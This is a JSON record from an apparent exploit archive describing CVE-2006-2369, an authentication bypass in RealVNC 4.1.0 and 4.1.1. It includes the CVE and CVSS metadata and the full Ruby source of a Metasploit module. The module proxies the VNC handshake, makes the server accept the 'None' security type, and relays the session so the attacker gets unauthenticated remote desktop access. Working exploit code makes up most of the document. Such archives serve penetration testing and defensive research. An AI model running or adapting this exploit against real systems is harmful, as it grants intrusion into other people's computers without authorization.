{"exploit":{"id":"EDB-17719","name":"RealVNC - Authentication Bypass (Metasploit)","description":"RealVNC - Authentication Bypass (Metasploit)","cves":["CVE-2006-2369"],"author":"Metasploit","published":"2011-08-26","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/17719","path":"exploits/windows/remote/17719.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-17719.rb","vulnerabilities":[{"id":"CVE-2006-2369","state":"PUBLISHED","title":null,"titleSource":null,"description":"RealVNC 4.1.1, and other products that use RealVNC such as AdderLink IP and Cisco CallManager, allows remote attackers to bypass authentication via a request in which the client specifies an insecure security type such as \"Type 1 - None\", which is accepted even if it is not offered by the server, as originally demonstrated using a long password.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-2369","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-2369"},"updatedAt":"2024-08-07T17:51:03.610Z","retrievedAt":"2026-11-26T19:57:28.420Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-17719.png?v=2","url":"https://exploitbin.com/exploits/EDB-17719","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-17719/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-17719/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: realvnc_41_bypass.rb 13641 2011-08-26 04:40:21Z bannedit $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\n\nclass Metasploit3 < Msf::Auxiliary\n\tinclude Msf::Exploit::Remote::Tcp\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'RealVNC Authentication Bypass',\n\t\t\t'Description'    => %q{\n\t\t\t\tThis module exploits an Authentication Bypass Vulnerability\n\t\t\t\tin RealVNC Server version 4.1.0 and 4.1.1. It sets up a proxy\n\t\t\t\tlistener on LPORT and proxies to the target server\n\n\t\t\t\tThe AUTOVNC option requires that vncviewer be installed on\n\t\t\t\tthe attacking machine. This option should be disabled for Pro\n\t\t\t},\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'hdm', #original msf2 module\n\t\t\t\t\t'TheLightCosine <thelightcosine[at]gmail.com>'\n\t\t\t\t],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 13641 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t['BID', '17978'],\n\t\t\t\t\t['OSVDB', '25479'],\n\t\t\t\t\t['URL', 'http://secunia.com/advisories/20107/'],\n\t\t\t\t\t['CVE', 'CVE-2006-2369'],\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'May 15 2006'))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptAddress.new('RHOST', [true, 'The Target Host']),\n\t\t\t\tOptPort.new('RPORT',    [true, \"The port the target VNC Server is listening on\", 5900 ]),\n\t\t\t\tOptPort.new('LPORT',    [true, \"The port the local VNC Proxy should listen on\", 5900 ]),\n\t\t\t\tOptBool.new('AUTOVNC',  [true, \"Automatically Launch vncviewer from this host\", true])\n\t\t\t], self.class)\n\tend\n\n\tdef run\n\t\t#starts up the Listener Server\n\t\tprint_status(\"starting listener\")\n\t\tlistener = Rex::Socket::TcpServer.create(\n\t\t\t\t'LocalHost' => '0.0.0.0',\n\t\t\t\t'LocalPort' => datastore['LPORT'],\n\t\t\t\t'Context'   => { 'Msf' => framework, 'MsfExploit' => self }\n\t\t\t)\n\n\t\t#If the autovnc option is set to true this will spawn a vncviewer on the lcoal machine\n\t\t#targetting the proxy listener.\n\t\tif (datastore['AUTOVNC'])\n\t\t\tunless (check_vncviewer())\n\t\t\t\tprint_error(\"vncviewer does not appear to be installed, exiting!!!\")\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\tprint_status(\"Spawning viewer thread\")\n\t\t\tview = framework.threads.spawn(\"VncViewerWrapper\", false) {\n\t\t\t\t\tsystem(\"vncviewer 127.0.0.1::#{datastore['LPORT']}\")\n\t\t\t}\n\t\tend\n\n\t\t#Establishes the connection between the viewier and the remote server\n\t\tclient = listener.accept\n\t\tadd_socket(client)\n\n\t\ts = Rex::Socket::Tcp.create(\n\t\t\t\t'PeerHost' => datastore['RHOST'],\n\t\t\t\t'PeerPort' => datastore['RPORT'],\n\t\t\t\t'Timeout' => 1\n\t\t\t\t)\n\t\tadd_socket(s)\n\t\tserverhello = s.gets\n\t\tunless serverhello.include? \"RFB 003.008\"\n\t\t\tprint_error(\"The VNCServer is not vulnerable\")\n\t\t\treturn\n\t\tend\n\n\t\t#MitM attack on the VNC Authentication Process\n\t\tclient.puts(serverhello)\n\t\tclienthello = client.gets\n\t\ts.puts(clienthello)\n\t\tauthmethods = s.recv(2)\n\t\tprint_status(\"Auth Methods Recieved. Sending Null Authentication Option to Client\")\n\t\tclient.write(\"\\x01\\x01\")\n\t\tclient.recv(1)\n\t\ts.write(\"\\x01\")\n\t\ts.recv(4)\n\t\tclient.write(\"\\x00\\x00\\x00\\x00\")\n\n\t\t#handles remaining proxy operations between the two sockets\n\t\tclosed = false\n\t\twhile(closed == false)\n\t\t\tsockets =[]\n\t\t\tsockets << client\n\t\t\tsockets << s\n\t\t\tselected = select(sockets,nil,nil,0)\n\t\t\t#print_status (\"Selected: #{selected.inspect}\")\n\t\t\tunless selected.nil?\n\t\t\t\tif selected[0].include?(client)\n\t\t\t\t\t#print_status(\"Transfering from client to server\")\n\t\t\t\t\tbegin\n\t\t\t\t\t\tdata = client.sysread(8192)\n\t\t\t\t\t\tif data.nil?\n\t\t\t\t\t\t\tprint_error(\"Client Closed Connection\")\n\t\t\t\t\t\t\tclosed = true\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ts.write(data)\n\t\t\t\t\t\tend\n\t\t\t\t\trescue\n\t\t\t\t\t\tprint_error(\"Client Closed Connection\")\n\t\t\t\t\t\tclosed = true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif selected[0].include?(s)\n\t\t\t\t\t#print_status(\"Transfering from server to client\")\n\t\t\t\t\tbegin\n\t\t\t\t\t\tdata = s.sysread(8192)\n\t\t\t\t\t\tif data.nil?\n\t\t\t\t\t\t\tprint_error(\"Server Closed Connection\")\n\t\t\t\t\t\t\tclosed = true\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tclient.write(data)\n\t\t\t\t\t\tend\n\t\t\t\t\trescue\n\t\t\t\t\t\tclosed = true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t#Garbage Collection\n\t\ts.close\n\t\tclient.close\n\t\tprint_status(\"Listener Closed\")\n\n\t\tif (datastore['AUTOVNC'])\n\t\t\tview.kill\n\t\t\tprint_status(\"Viewer Closed\")\n\t\tend\n\tend\n\n\tdef check_vncviewer\n\t\tvnc =\n\t\t\tRex::FileUtils::find_full_path('vncviewer') ||\n\t\t\tRex::FileUtils::find_full_path('vncviewer.exe')\n\t\tif (vnc)\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\nend","sha256":"fb319e2b69ac08d5cf7c3b46e37f56997be37dd88806ca38ac24b537c6b6d7a3","bytes":4454,"fetchedAt":"2026-11-27T16:07:05.924Z","encoding":"utf-8 (display only; download retains original bytes)"}